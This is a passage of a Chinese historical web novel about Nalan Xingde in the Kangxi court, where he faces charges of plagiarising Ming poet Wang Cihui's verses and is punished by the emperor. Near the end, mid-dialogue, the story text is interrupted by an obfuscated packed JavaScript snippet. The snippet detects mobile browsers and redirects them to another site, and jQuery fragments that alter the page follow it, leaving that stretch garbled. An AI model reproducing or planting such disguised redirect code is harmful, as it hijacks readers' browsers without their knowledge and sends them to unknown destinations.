纳兰双手握着茶杯,闻着飘香的奶茶,回应道:“老祖宗,日后我多写几篇赋出来给您看好不好?” 孝庄慈爱地点头,温和道:“好,当然好。” 孝庄看向内殿,道:“孩子,多尔衮是你的祖王父,我一直供着他征战时所用的宝刀,打算日后找个机会,将那把宝刀赏赐给你。” 纳兰清醒道:“宝刀对老祖宗于情于理都最珍贵,我不能要。” “我跟纳兰家缘分深,将自己曾经喜欢过的少年郎的宝刀,交给同样是少年郎的你,我安心呐。” 纳兰半跪在孝庄膝下,“那等我有军功之后再拿,我一定不辜负老祖宗。” “快起来。”孝庄拉起纳兰,“人呐,执念太深就容易走不出来,还不如不去看不去想,将曾经的回忆渐渐搁浅。” “老祖宗对祖王父的记挂、以及老祖宗悄悄对祖王父说的每一句话,他都能听到能感受到。我羡慕这样的心照不宣。” “可惜啊,史册却连多尔衮的死因都无法明确记载。”孝庄神色显伤,“后人也没法查,查不出什么真相来。” 纳兰虽是想往深处问,但觉得不妥,就安慰了太皇太后几句,继续陪她说话,等着皇上和裕亲王兄弟到来。 * 有太监高喊:“皇上驾到——裕亲王到——” 纳兰赶紧从太皇太后身边离开,对康熙皇帝和裕亲王福全行了礼。 孝庄叫顾问行和苏麻喇姑分别给两位孙辈看座。 “皇上,吴应熊和朱三太子的下落可都找到了?” “回皇阿奶,吴三桂封锁西南,半点消息都未外流。吴应熊作为皇亲国戚,本应有主动向朝廷请罪的觉悟,可他却是找了江湖术士隐逸山间,以枫木为栖、枫糖浆为食、枫林为保护罩,过起了不食人间烟火的日子。孙儿派出去打探相关情报的道士施道渊,已经将吴应熊的行踪奏明于朕了。” 孝庄问:“这施道渊名扬天下、道行高深,不是裕亲王你的幕僚吗?” 福全道:“回太皇太后,朝廷是用人之际,本王手下之人,只要皇上用得着,都可为皇上效命。” 听到这句话,玄烨心中感动。 看来这裕亲王真是个贤王,他神情之间的一个“忠”字,话语之间的一个“真”字,当着太皇太后的面,是装不出来的。 “朕昨日已派精兵在枫林之中把吴应熊拿下,真没想到那家伙根本就没去福建、没去台岛,而是一直在离朕最近的地方。朕把吴应熊囚禁在天牢,他插翅难逃,等到朕处理妥当了眼前之事——噶尔丹使者和东洋人使者都回去之后,就立刻斩杀吴应熊,看看他阿玛吴三桂做何打算!” “皇上这决定不错。”孝庄点头,“在国家利益面前,是顾不得吴应熊的皇亲国戚身份,该杀的时候就得杀。裕亲王,你认为呢?” 福全正直道:“本王认为,吴三桂若不是一个丢儿保己之人,那么他得知吴应熊的死讯之后一定会反,本王愿意率兵南下,与之决一死战!” “二哥,难得你肯挺身而出,为朕为大清出平藩之力。”玄烨伸出左手,与福全相握,“只要你忠心,朕绝不负你。” “臣永远是皇上的左膀右臂。” “朝中不可无主心骨,所以皇上不可御驾亲征。”孝庄斟酌道,“裕亲王,待到朝廷处死吴应熊后,就让安亲王岳乐与你一同为左右大将,待命军营,好应对吴三桂的后续之举,如何?” “太皇太后考虑周全,本王遵懿令。” “皇阿奶,朱三太子的动向和身迹,朕尚未明晰。但是根据纳兰从‘花鸟风月楼’中搜集来的情报,朱三太子出家去当了和尚,欲效仿高僧、开言论之势来拉拢民心,反清复明。” “臣——” 纳兰特别想反驳一句:没说过这些! 他一推敲,这些应该是曹寅对玄烨说的,毕竟曹寅身负皇命、正在执行一些不可告人的任务。 玄烨故意道:“纳兰,你要说什么就直说。” “皇上,天下寺庙之多,查之不尽;天下帮派之多,数之不绝。朱三太子用此法隐匿身份和煽动人心虽有道理,但臣以为,有所偏颇,他本就是个心绪浮躁之人:派人入宫行刺、暗中偷袭清军、背弃吴三桂信任……哪样不是不计后果的冲动之举?如此,皇上还觉得朱三太子能耐得住性子去当和尚吗?” 纳兰说罢,又补充了一句:“更何况朱家有:皇室之人不可落发为僧之训,难不成那朱慈焕真要违背祖制去做不孝孙?汉人,礼法和道德大过天。” “那朕就继续叫人去追查——” “虽然费时,但臣相信会有皇上想要的结果。” 纳兰、玄烨福全两兄弟直到陪太皇太后吃完午膳之后,才离开。 * 走在路上。 纳兰正打算去太医院向三位西医请教:秋季养疾的窍门。 “公子留步。”福全叫住纳兰,“试问公子意思,皇上对本王是何态度?” “皇上对王爷的信任,从六成上升到了八成。王爷以实际表现和效力之姿取信于君,是正道,纳兰佩服。” “那之前,皇上因何猜忌本王?” “第一,是施道渊施道人求雨得成,功高累主,皇上怕王爷聚众成网,兄弟操戈相对。第二,是王爷您手握兵权,皇上犹豫在收与不收之间,怕把您逼反又怕您未逼而反。第三,曾经王爷是继承皇位的人选,皇上怕您对他凡事假作辅佐、浮于人性,才想对您或除或贬,离之后快。” “而今……我们兄弟,真的算重归于好了吗?”福全询问,“还是皇上仅仅是对本王采取了平藩关键时期的利用之策?” “一些长话和细节,请王爷来明府一聊一饮一席宴也无妨。” “好,本王随公子而往。” “王爷请——” 101.第101章 沈宛坐在高高的蜀葵下面,看着天外的红霞。 ——纳兰公子现在也是有侧室的人了。 这就是说,自己以后潜入明府去见他会难上加难。 他的侧夫人颜氏是个不错的女子,想必二人恩爱似鸳鸯,很快就会有孩子降生于世。 侧夫人会是贤妻良母,纳兰公子会是好夫君好父亲,至于明珠大人……沈宛失笑,怕是只爱手中权柄而无暇顾及自己的孙子或孙女把? 沈宛记得,容若纳侧室的那一日,整个京师都很热闹,也有许多从异地赶赴京师、去不了明府只能去“花鸟风月楼”坐场子的人,相互讨论着各种有的没的传闻。 沈宛算是呆在楼内听“议论”的常客之一。 像是两个剧作家孔尚任和洪昇,就因为话本子中的一些情节而大吵。一方说要写实,另一方说要写虚,一番争执过后,在众宾客的劝导下,倒也是三杯酒落肚,握手言和。 像是顾贞观、姜宸英、梁佩兰三人,是一边大论明珠家长公子的人品、一边大骂徐乾学。后来,自称闭门不出、绝不离京的“戴罪主考官”徐乾学不请自来,登场就与那三人起了一通舌战,那阵势,让众文人就跟置身赌场一样,可以投注来期待谁输谁赢。 像是日本国使者藤原贞吉,独自坐在窗边行东洋人的“茶道”之礼,招呼了几个过客前来共品,皆是无人响应。原因自然是:这个场子能接纳东洋人、西洋人,但是这个场子的宾客不敢跟夷邦夷术有所瓜葛,免得无端惹罪。 这些都罢,说回容若的亲事。 沈宛无疑是为容若高兴的,容若一直盼切“一家子”的温情,即便是他从明珠夫妇身上有所缺失,那从成亲之日起,他可以按照自己的方式——来经营自己跟侧夫人还有将来要出生的孩子之间的家庭关系。 她对容若的新婚祝福很简单,就是希望容若:有所得、所求如愿。 她给容若送的新婚贺礼,是精挑的六种坚果组成的三层提篮礼盒和一百零八颗菩提子串成的手串。 提前在“饮水词歌·素菜馆”把贺礼相送时,沈宛道:“公子大喜,吃的和用的,或者说,对身体好的和值得珍藏的,我的心意都归公子。” 容若一手接过提篮,一手伸出,让沈宛把菩提子手串戴在他的手腕间。 “谢谢你,宛卿,这两样比什么都好,我就是喜欢用心的和朴素的食物,以及这串可以一生一世陪伴自己的缘起菩提子。” “公子喜欢颜氏吗?” “我跟袖云相处的好,所以我愿意待她好。” “公子喜欢我吗?” “喜欢,宛卿才情与我相当,姿容出众,是世间不可多得的好女子。相遇是幸,相伴亦是幸。” “我喜欢公子吗?” “嗯,宛卿你说,喜不喜欢我——” “喜欢,一往情深和不在意名份的喜欢,一生追随和永不回头的喜欢。” 回到当下,宋应星上前。 宋应星拿了一块秋饼给沈宛,道:“我听说纳兰公子心善,大婚三日间,免了‘花鸟风月楼’和‘饮水词歌·素菜馆’的客人们的饮食银钱,好菜好饮,都是由得宾客们任点任吃,只求结缘和分享喜乐。” “师傅也该知道,无论是楼阁还是素菜馆,人人都把纳兰公子的温热心肠记在心中,不敢乱点菜、不敢浪费。”沈宛不作隐瞒,“我也一样,就吃了两只公子爱吃的芙蓉酥、一只奶酪馅儿的烧卖、一只红苹果、两块凤梨酥、一碗莲子百合银耳甜汤而已。” “而已?”宋应星大惊,“御婵,师傅怎么不知道你这么能吃?” 沈宛低头,微红着脸微笑。 “我只是接机把公子的‘玉食’一样不差地尝遍了而已。” 说回正事,宋应星道:“最近朝廷不知道吹了什么风,对以张岱为首的前明士人都不放过,随便找到一篇张岱的旧作,就往‘反清复明’的暗含之义上面扣。” 沈宛推测:“师傅,御婵觉得八成是那徐乾学在背后搞的鬼。徐乾学最是见不得别人好,你别看他与张岱称友、且当着你的面相处和谐,他在背后放了什么冷箭又有谁知道?” 宋应星半信半疑,“徐乾学不是因为漏判漏录副榜汉军卷子名额,而被皇上调职了吗?” 沈宛警醒道:“只怕他会为了让自己重新获得皇上的信任,而把张岱先生的行踪供出来……当一个背弃信义之人。” “当初我就不该错信错交了徐乾学!”宋应星气道,“照你的看法,我们不能再在这里住下去了,否则清军探到这里,就晚了也完了。” “师傅说的有理,御婵这就去收拾东西,尽快探寻到新住处,好与师傅一同另迁过去。” “好,我也该去做准备了。” * 十月份的时候,康熙皇帝接到曹寅密报,说是朱三太子北上蒙古,动机不轨。 康熙在震惊之余,密令图海将军和谋士周培公前去蒙古探查军报。 ——朱三太子即便是的确如纳兰所说没有去当和尚,朕也没想到他有勾结噶尔丹之嫌啊! ——万一日后噶尔丹受那朱慈焕所鼓动,真反了大清,那朕“直纳”那些部族的蒙古妃子还有何意义? 画师禹之鼎用两个月的时间,住在瓜尔佳府邸,一面拥佳人“花前月下”,另一面“吃好喝好”,终于是完成五幅质量极高的画作来供康熙皇帝甄选和赐名,好用做大清与日本交好的“名品”。 康熙皇帝一扫之前“朱三太子疑似勾结噶尔丹”的不快心情,开始赏画。 “朕不必叫纳兰来题词,自己就能题——” “皇上,您最好是打过草稿再题,这是臣的心血之作,要被仔细估价的。” “再如何估价也是由朕定夺,藤原贞吉奉命来我大清求画,就要按照我大清的规矩来,朕的墨宝是增值,纳兰的字只是——” “万岁爷!”梁九功从外头匆匆进来。 “何事?”康熙皇帝一抬头,“纳兰来了?踩着朕题字的节骨眼上来了?朕就叫他好好看看,什么叫做皇上御笔亲题的好诗。” “回万岁爷,是索额图索大人来了。您是见还是不见?” “见,叫他进来。” 康熙皇帝把画轴卷了起来,端坐御案之后。 “臣索额图叩见皇上,皇上万岁万岁万万岁!” “平身。” “皇上大喜,大清大喜,臣终于将那廉吏于成龙的嚣张气焰给镇压下去了!” “仔细说——” “是。于成龙上书的折子臣可不敢像明珠父子一样半路拦截,明珠父子的拦截之举可是欺君啊皇上!” 索额图从身后拿出一个匣子,让梁九功交给康熙皇帝。 这匣子里面装的,正是于成龙亲笔所写的、弹劾明索两人贪赃枉法的慷慨骂词。康熙皇帝迅速看后,反问了索额图一句:“索大人这般‘收集’于成龙的折子,跟明珠的半途拦截有何区别?” 索额图赔了个苦笑,道:“臣对皇上对大清忠心耿耿,于成龙那些一厢情愿的反贪反腐之举、和诸多对君对国库的不逊之言,臣实在是无话可说,唯有请皇上圣裁!但是在此事件之余,臣决心拿出一笔银子来充当军需,不知皇上认为多少合适?” “你跟明珠商量着办吧!具体数目朕等你俩回话。” “是。” 见眼前人不走,康熙皇帝问:“索额图,你还有什么事要奏?” 索额图正色道:“臣要质疑纳兰性德的词。” 这话给康熙皇帝听笑了,“索额图,你的才学远不及纳兰,你还敢在朕面前疑他?禹画师,你说呢?” “臣只有一句皇上不爱听的话:臣的画作宁愿是得纳兰的题词,而不是您的御笔。” “罢了。”康熙皇帝不怪禹之鼎,转向对面的索额图,“说吧,纳兰的词哪里惹你们索党不满了?” “皇上,纳兰性德因病错失殿试的状元之名后,是成天自怨自艾,不忠不孝,沉溺花草,提笔抒愁。臣索额图念着跟明珠大人的交情,就带着次子格尔芬——也就是您的二等侍卫一并去明府瞧了大公子。” “谁知道,竟然看到了这么一句词:不及芙蓉,一片幽情冷处浓。” “那句词,是纳兰写给的朕的。”康熙皇帝提醒道,“索大人你最好慎重说话。” “那纳兰性德的罪过可就更大了!”索额图煞有介事道,“连写给皇上您的词,他都敢抄袭和套作!” 禹之鼎气问:“纳兰抄了谁的词?索大人你不要信口雌黄。” 索额图冷笑道:“有个前明士人叫王次回,乃是张岱的好友,王诗有曰:个人真与梅花似,一片幽香冷处浓。” 康熙皇帝脸色有变。 “敢问皇上,纳兰性德不是只做了把‘幽香’换成‘幽情’的改动吗?” 索额图添油加醋: “我儿格尔芬当时就道:‘纳兰兄是想娶妻了。’纳兰性德本人也未否认,由此可见,纳兰性德的这首词是披着幌子来献给皇上的,他真正写的是:侍妾颜袖云。他的幽情正是在一个女人身上,而不是在意皇上您啊!”【注1】 康熙皇帝对此感到恼怒。 ——好呀纳兰,《采桑子》你写给侧夫人,《五色蝴蝶赋》你也写给侧夫人,说到底你是没有一篇文字是为朕落墨的啊?! “臣告退!” 目的达成后,索额图倒是自动自觉地走了。 康熙皇帝站了起来,怒视完索额图的背影后,猛地展开禹之鼎的画作,拿起要题诗的笔又放下,冲梁九功喊: “叫人把话传到明府去,朕要纳兰性德即刻写一篇《秋至圣恩赋》出来,他要是敢抗旨,就当场治罪,杖责二十!” * 皇宫的侍卫带着康熙皇帝的命令,登临明府勒令纳兰写赋的时候,徐乾学正在自己家中优哉游哉地逗笼中鸟。 有管家过来,问:“大人,您为何有这般闲情逸致?” 徐乾学笑的扭曲,“或许是本官家里的书被纳兰性德看多了、记多了,所以他才格外开窍,懂得不动声色效仿前人佳作。” 管家半歪着头,“大人的意思,小的不懂。” 徐乾学用小木棒轻捋笼中鸟的五彩羽毛,故弄玄虚道: “本官也不懂,纳兰性德天资聪颖,写出来的东西大有深意,索大人懂、皇上懂……呵呵,就足够了。” 管家这才想起来—— 数日之前,自己的确是照着徐乾学的吩咐去了一趟索府,交给了索额图一封信。至于信里面的内容,自己就不清楚了。 徐乾学绕回了厅堂里。 “春来送樱桃,夏至看风荷,秋来娶侧室,纳兰性德的日子过的快,本官的日子过的也快。转眼就要入冬了,本官给贵公子送点什么东西好呢?” 管家有些后怕,问:“大人,您就不怕给纳兰公子准备的‘用心之物’还未走出府外,那顾贞观又来骂骂咧咧吗?” “有本事他就骂个三年!”徐乾学依旧自傲,“骂到纳兰性德下一场殿试中进士为止,哼,本官就不信那顾贞观有这样的韧性和能耐!” “小的还要提醒大人一句。”管家降低音量,“大人让小的去密林深处探张岱的行踪,但是张岱常去的宋应星寮,已经是只剩一个空壳了。” “什么?”徐乾学一惊,“坏我大计!我还指望着弄清张岱的线索,好提供给皇上来让自己官复原职呢。” “小的不敢乱说。”管家描述起来,“宋应星寮里面的家具、用具、书籍、衣物, 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明珠便轻步走到了容若身后,逐字逐句地默读和检查起儿子的作品来。 见容若搁笔,明珠点头道:“儿啊,这篇赋写的好,阿玛看过了,就这么给皇上交上去,对得住皇上的颜面,也对得住大清的国威。” “儿也是这么想的,这篇赋不止是为皇上一个人而写。” “那好,你把印章盖上,好让侍卫把作品带回宫里去。” “是。” 夜里。 容若坐在窗边叹晚风。数盏地灯映照着地面上的秋花,偶尔有流萤飞过,算是添了一些秋尽冬来之前的乐趣。 袖云拿了件衣裳过来给容若披上,道:“公子可要睡了?” 容若拉她同坐,“这会儿还没有睡意,你来陪我坐着。赏看天上没有冷却的月亮、和尚未逃走的疏星。” * 数日后。 养心殿内,康熙皇帝叫了明索二人,以及李光地、高士奇、陈廷敬等人一并来见。 康熙皇帝开门见山,指着桌案上的一踏奏折道: “明珠你看看这些折子,全是弹劾你儿子纳兰性德写艳词和抄袭前人词句的。这等‘败坏名声’和‘有伤教化’之事要是属实,就是你教子无方,父子同罪。” “皇上,这万万是不可能。”明珠始料未及,只匆匆辩解道,“爱子容若别的本事臣不敢说,唯独是写词上面,他刻苦用功,自成风格,断不会有败笔和抄袭之谈。” “是吗?”康熙皇帝面无表情,“顾总管,你把《纳兰词》和《疑雨集》的对比摘录拿给明珠大人看。” 明珠从顾问行手中,接过康熙皇帝不知道什么时候准备好的小册子,认认真真地把有玄烨朱笔亲批的“可疑之词句”看了个遍,不由得冷汗淋淋。 要说这是巧合,也未免太巧。 要说不是巧合,却又有口难辩。 纳兰性德《浣溪纱》 未接语言犹怅望,风波狭路倍怜卿。 才通商略已瞢腾,只嫌今夜月偏明。 王次回《疑雨集》 未接语言当面笑,风波狭路惊团扇。 才通商略半矜持,暂同行坐夙生缘 纳兰性德《浣溪纱》 五字诗中目乍成,年来憔悴与愁并。 尽教残福折书生,夕阳依旧小窗明。 王次回《疑雨集》 五字诗中目乍成,矜严时已遥风情。 半宵残福折书生,相对只消香共茗。 为了不在索党之人面前自失面子,明珠咬牙坚称:“臣不知为何相似,但爱子容若确实冤枉。” 康熙皇帝只冷漠道: “明珠,你现今是都察院左督御史,要是觉得这是桩冤案,那就给朕好好去查,也好给纳兰性德正名声、给自己正官威。” 明珠叩头道:“臣,明白了。” * 明珠一路上,愤怒策马而归。 对他而言,眼前掠过的压根不是日常熟悉的风景,而是索党之人的恶臭嘴脸。他越想越气,儿子责备不起来,真相无从入手,真是怄气都无从怄气。 一入家门,明珠就往自己的房间去。 觉罗氏见夫君满脸阴沉,坐着喘气,就问:“老爷,您这是受了皇上还是索额图的气?可先说好了,千万别发泄在容若身上,他无辜。” 明珠抚着自己的胸口,边叹边骂: “本官不怪容若,他才高遭嫉是常有的事。偏偏这次,也不知道是碰了哪门子邪,容若的词作竟然跟前明士人王次回的诗作有所雷同,甚至……还有原句照搬之证据。夫人啊,那王次回的句子,可是的的确确写在咱们儿子之前,有文坛的芸芸众口可以作证。” 觉罗氏应道:“妾身倒是不觉得奇怪,同样的句子,碰巧两人都写也是有的,怎么跟‘前后顺序’沾了边,就成了抄?咱们儿子一身正骨,怎会屑于去做此下三滥之事?” 明珠一松衣领,拿下朝珠,朝容若的房间望了好一会儿。 “夫人,本官还发现:那些相似的句子当中,王诗原文的确是‘艳’,但是容若‘清’的很。那些人牵强附会、不知道受了谁的煽动上奏皇上,异口同声说容若所写的也是‘艳词’,真叫本官肝火蹭怒!” “老爷,你就在房中歇着吧!”觉罗氏亲自为明珠更了衣,“容若那边,妾身去说。” “有劳夫人。” 觉罗氏来到长公子的房间门口,敲了敲门,道:“容若,额娘进来了——” 【注1】登临明府后,索额图父子对纳兰词的见解,见第95章。 102.第102章 见觉罗氏进门,容若就停下了编写《通志堂经解》的笔,来到了额娘身边坐下。 “容若,额娘听你阿玛说,你的词作中有那么几句跟前明士人王次回的诗句类似,你可知道是怎么回事?” “啊?”容若一愣,“儿没听说过王次回那个人,也没看过他的诗,怎么就跟他扯上关系了?” “那阵子天气连雨,你不是被迫在徐乾学府上小住了几日吗?【注1】”觉罗氏询问,“会不会是在不知不觉中看了王次回的集子,而不自知?” 容若仔细一想,“额娘提醒的是,也许儿在徐府看过王次回的《疑雨集》,但是被徐乾学伪装成了‘另一个名家’和‘另一个书名’,所以未察觉。” “那你如何会在潜移默化之中写出相近的句子?” “我没有。”容若说的很坚定,“我的《纳兰词》每一句都是我自己的,我为什么要去借鉴?要去仿?” “那徐乾学许你在他的书斋博览群书,却故意在书的作者和名字上偷换概念,当真是狡猾又可恨!”觉罗氏细心叮嘱,“儿子,你日后要多加留神。” “是儿大意了。”容若自责,“汉学的经典多如瀚海,类目博大精深,儿怎么也没想到徐乾学会用‘偷梁换柱’这招——来骗我去读书名、内容和作者都不一致的经典。他的心思不正至此,儿却一直被蒙在鼓里,惹下今日之祸,有愧于阿玛和额娘。” “儿子,别这么说。”觉罗氏温声安慰,“你向往汉学和汉文化,一时未辨明徐乾学的心机,也在情理之中。这事皇上知你人品不追究便罢,要是皇上不饶,你要自己想好应对的方法。” “额娘,远虑和近忧都一块来,儿真的不喜欢这样的感觉。只想安安静静翻看书籍,吃几块素秋饼,乏了就睡个好觉。” “一切会好的,额娘陪着你。” “艳词与盗作的污名……我要是因此栽了,那些人就要扳倒我阿玛明珠了。我歇不了、不能歇啊。” 容若觉得心里就跟压了一块石头一样,难受沉重。 纳兰父子一起为朝廷效力,就这么被人容不下吗?自己如今没有官职,就被人用尽手段栽赃迫害,那等到有了功名有了为官的资格以后呢?又会被怎么对待? “额娘。” 容若唤了一声,然后靠进了觉罗氏怀里。 他闭着眼睛,未放松未轻卸,反之,呼吸有些急促、身躯微颤。 * 有关纳兰的词作是否抄袭和仿写前明士人王次回的诗作之事,悬而未决数十日,康熙皇帝甚是不悦。 恰逢康熙皇帝的火气一触即发之际,有传使送来了曹寅发自噶尔丹草原的加急密报。 根据曹寅字里行间、事无巨细的阐述,场景大致可以作如下还原—— 曹寅、图海将军、谋士周培公三人进入北蒙古大汗的毡包之后,并未被当作清朝的臣子接待。 噶尔丹冷问:“尔等自称是朝廷特使,身负皇命,为何还要对本汗王做密谈?” 曹寅道:“有些话不宜当众说,所以我等请求与汗王私下交谈。” “好,不妨直问。” “我等想知道,朱三太子要是藏匿在噶尔丹草原之上,蒙古如何向朝廷交代?与朝廷开战?还是将朱慈焕绑出、押交朝廷处置?” 噶尔丹哈哈大笑,“本大汗年年向朝廷进贡牛羊和皮革,换来金银财宝和应属权柄;又应了康熙皇帝之求,将蒙古草原上最好的女子送入宫中为妃,只想表明一点:双方能够缔结友好。什么朱三太子,本汗王压根不知道此事!” 谋士周培公道:“周某听闻,噶尔丹使者在私下口中‘用兵’和‘动武’等威胁之语,只为彰显噶尔丹的军事实力。不得不让人质疑噶尔丹的称雄之心啊!” “周先生的意思,是本汗王没有把康熙皇帝和朝廷放在眼里?”噶尔丹用拇指刮了刮腰间的配饰,“回去告诉你朝天子,噶尔丹没有反心,只有一统北蒙古的自尊心,得一封王称号就是满足。” “要是大汗说的是真话,”曹寅机智道,“请当着我们三人面,写下章折:向朝廷表示忠心、向康熙皇帝证明未窝藏与勾结朱慈焕。” 面对曹寅的要求,噶尔丹大汗拒绝的干净利索。 “康熙皇帝在乎整个大清的命运!”曹寅大声强调,“草原还是你们的草原,蒙古还是大清的蒙古,大汗应当认清这一点,而不是受到朱慈焕或是内部族人的煽动,棋行有错,与朝廷为敌。” 噶尔丹大汗听罢,没叫人送客、也没默许曹寅等人留下,只是昂首大步走出了毡包。 曹寅等人窝火又无可奈何,只得忍着,做后一步的打算。 康熙皇帝“啪——”地一声把密报摔在御案上。 原因是:信件的最后,噶尔丹仍旧没有回应出鲜明的态度,也没有承认朱三太子是否就藏在他的草原之中。 顾问行小心奉上了茶。 只听见万岁爷怒道:“这算什么交涉结果?谈跟未谈有何区别!朕知道在茫茫大草原上找朱慈焕难,但是曹寅他们难道就不会动动脑筋,非要叫噶尔丹交人?行的通吗?” 顾问行劝道:“万岁爷,在草原上暗地里寻人危险呐。直面噶尔丹,说明本意要妥当一些,最起码朝廷的精兵没有闪失、也未被噶尔丹发觉。” 康熙皇帝指着大门,“把明珠父子叫来见朕!” * 康熙皇帝冷说了一通对噶尔丹之事的看法之后,问明珠父子:“你俩拿拿主意,噶尔丹有无藏匿朱三太子之事,是这么耗下去?还是主动出击?” 明珠道:“臣以为,皇上应当先杀了吴应熊,给天下做个警醒,震慑噶尔丹之后,再光明正大地彻查朱三太子的草原行踪。” 康熙皇帝问:“要是噶尔丹把曹寅等人扣做人质,反过来要挟朝廷呢?” “那就是朝廷的精兵无用,连三个人都保护不了。”明珠指出,“皇上要是只想拿下朱三太子,而非跟噶尔丹论领土,那大可以安排细作去探,何必并重‘军国大事’和‘朱慈焕’于那汗王面前?” 康熙皇帝沉默。 纳兰在明珠耳边道:“阿玛,皇上的意思是:朝廷一旦忍让,噶尔丹难免得寸进尺,当下是战还是不战?” “当然是不能战啊!”明珠斩钉截铁道,“朝廷的兵力不是不能跟蒙古抗衡,而是事有轻重缓急,要集中在应对三藩上。” 纳兰道:“回皇上,臣以为噶尔丹之事还未到动武之际,来日方长,北蒙古一直都是大清的领土,北蒙古汗王一直都是大清的臣属,军事有变之际,您御驾亲征、立下赫赫战功来光宗耀祖,也未尝不可。” “好一句光宗耀祖!”康熙皇帝绕过明珠,来到自己的陪臣面前,“纳兰你不但敢乱写词,还敢乱说话!太皇太后是蒙古出身,蒙古还看她几分面子,你叫朕御驾亲征蒙古?可知罪!” “臣说实情,何罪之有?”纳兰风骨峭峻以对,“老祖宗是漠南蒙古科尔沁草原出身,噶尔丹是漠北蒙古出身,前者安份于朝廷,后者野望难测。皇上将来亲征噶尔丹,有利于蒙古稳定、大清长治久安,老祖宗定是不会反对。” “好你个振振有词的纳兰性德!”康熙皇帝绕了自己的陪臣一圈,“朕今日是不罚你也得数罪并罚!” “数罪?除了‘出言不逊’和‘艳词惑众’之外,皇上还想给臣加上什么罪?” “这两条加上一个‘目中无君’就够了,朕看在明珠的份上,不会将你下狱。”康熙皇帝盯着纳兰的眼睛,“你去慈宁宫侧暖阁给朕面壁思过,没有朕的同意不许出来。” “臣没错,皇上给出的罚,臣不领!” “大胆!来人——” “皇上息怒!”明珠请求道,“容若性子一向如此,还请皇上饶恕。” 康熙皇帝怒瞪明珠,那意思是叫他用不着对儿子说话。 “纳兰性德,朕早就想罚你了,你是一而再再而三地给你的侧夫人颜氏写词写赋,外披着不足为人道的幌子。你忽悠到朕头上来了你知道吗?下臣不敬天子,你罪难赦。” 纳兰忍无可忍,重重说道:“皇上如果真的信任臣,就该严惩索额图和徐乾学!” “你要朕信任你什么?”康熙皇帝没想到纳兰会提及那二人的名字,“你这是给大清丢脸啊!仿造谁的诗句来写感情之事不好,要仿造前明王朝之人的。” 纳兰恳切道:“徐乾学用心险恶,诱臣博览改头换面之书,害臣于无形,请皇上明察。” “你明确回答朕,你有没有拿别人的好词佳句来为自己的词作添名声?” 见康熙皇帝不往深处追究徐乾学,纳兰心寒至极。 纳兰刚直不阿道:“王次回之作,臣没有看过、也没有化用。” 康熙皇帝不依不饶:“那为何如此相似?” “臣就算是化用引用,也只标记李商隐的典。” “好啊!”康熙皇帝逮住纳兰的话的漏洞,“你这是认了自己有过仿写和套写之举吗?” “臣只是回复君问。”纳兰光明磊落道,“自身词作没有什么见不得人或是经不起推敲之语。” “够了!”康熙皇帝打断,“朕没有叫你去养心殿外罚跪算好。来人,把纳兰性德带下去!” 明珠才要开口,康熙皇帝就喝了一句:“不许给你儿子求情,如此罚他算是便宜他。” * 几经周折,沈宛和师傅宋应星终于在“济国寺”附近、后山之中的隐秘之所安顿了下来。 那是一间构造良好、内外空旷的三居室屋子,除了无人居住落了不少灰尘之外,并无任何缺点。 关键是,此处不但清静,而且临近寺庙,晨钟暮鼓能够让人清神醒性、禅语梵音能够令人心境洗涤如新、缭缭鼎上香雾可恩赐泱泱福泽。 且沈宛知道:住持妙觉禅师与纳兰一家交好,自己栖身于此,能够逮住更多的见到公子的机会。 宋应星道:“这间屋子好,大隐隐于禅林之中,只要稍作奇门遁甲之术、在门坪之前布下石阵,定是能够挡住许多红尘之客。” 沈宛站在屋檐下,抬头望向天际,觉得冬云越来越沉,就跟装了一袋子雪,天网一破就会纷纷落下一样。 “师傅,您是打算谁都避而不见,还是仍旧见可见之人,比如:张岱先生。” “最近张岱就跟入霄成仙了一般,难在凡间寻觅他的踪影。御婵,你能找到他最好,找不到也就只当他喝醉了酒、沉入湖底约见了老龙王而不知归算罢。” “没道理啊,张岱先生本人不现身,那他的新文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173296|138365||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 章是如何传到文人们的手里的?” “这我不知道,张岱如今是朝廷在追的人,你我师徒还需谨慎为上。” * 沈宛潜入明府,从明珠夫妇的对话中听到了容若的处境。 她心想:这可遭了,容若最擅长写词,词作对他而言就像是生命一样,要是失去了皇上的信任,这份屈辱就跟是拿刀子往他的心里捅般的难受,真怕他挨不住,身神同悲,人会垮掉。 可是皇宫禁地,沈宛也自知不能拿自己的性命去闯荡,这可怎么好? 找顾贞观吗?那家伙一心想营救好友吴兆骞,除了大骂徐乾学就是徘徊于明府附近,对容若伺机而动,是个好人还是坏人皆难料。不能找他,找他也搭救不了容若,那些汉人文人的圈子,此时的重心是向着王次回还是纳兰公子,还说不准。顾贞观不可能为纳兰公子证明《纳兰词》的清白无抄。 找张纯修吗?年关将近,“花鸟风月楼”内有诸多事物要顾,张纯修虽镇得住这样一个“用意非常”的场子,但也不见得他能够动用江湖力量——拜托侠客或是线人去救出容若。往最坏了想,这个场子虽归属明珠父子名下,但终究为“满清第一贵胄”三爷,也就是康熙皇帝所有,留或拆,全在天子的一念之间。 找周之捷周老板或是索额图次子格尔芬吗? 那更是不妥: “庄周梦蝶”字画店,不一定能够遇见够格在康熙皇帝面前说话的朝廷命官,连明珠都改变不了圣命的事情,别人又怎么能指望的上? 索额图府邸,格尔芬不一定在,索二公子虽是个敬佩纳兰性德人品、愿意为他两肋插刀之人,但也难保索额图不会从中作梗,令索二公子好心反而办了坏事。 沈宛倚靠在明府外头的一棵大树下,思前想后,终于记起了一个可以托付的人。 那就是,天下无人不知的、曾扬言“嫁谁也不嫁纳兰性德”的一等公朴尔普之女:官云辞。 说行动就行动,沈宛写了一封信,将信纸包裹住了一块石头,趁人不备,投入了官云辞的闺房之中。 信件的内容言简意赅: 康熙皇帝对纳兰性德误会有三,其一,不信《纳兰词》没有仿写与套作;其二,不认纳兰性德所言的将来御驾亲征噶尔丹之志;其三,有意忽略纳兰性德所提及的索额图和徐乾学之过。 综上,恳请云辞格格相救于公子。 沈宛双手合十,微微垂眸,默默祈祷:愿云辞格格能出力,愿纳兰公子好好的,一定一定不要出什么事。 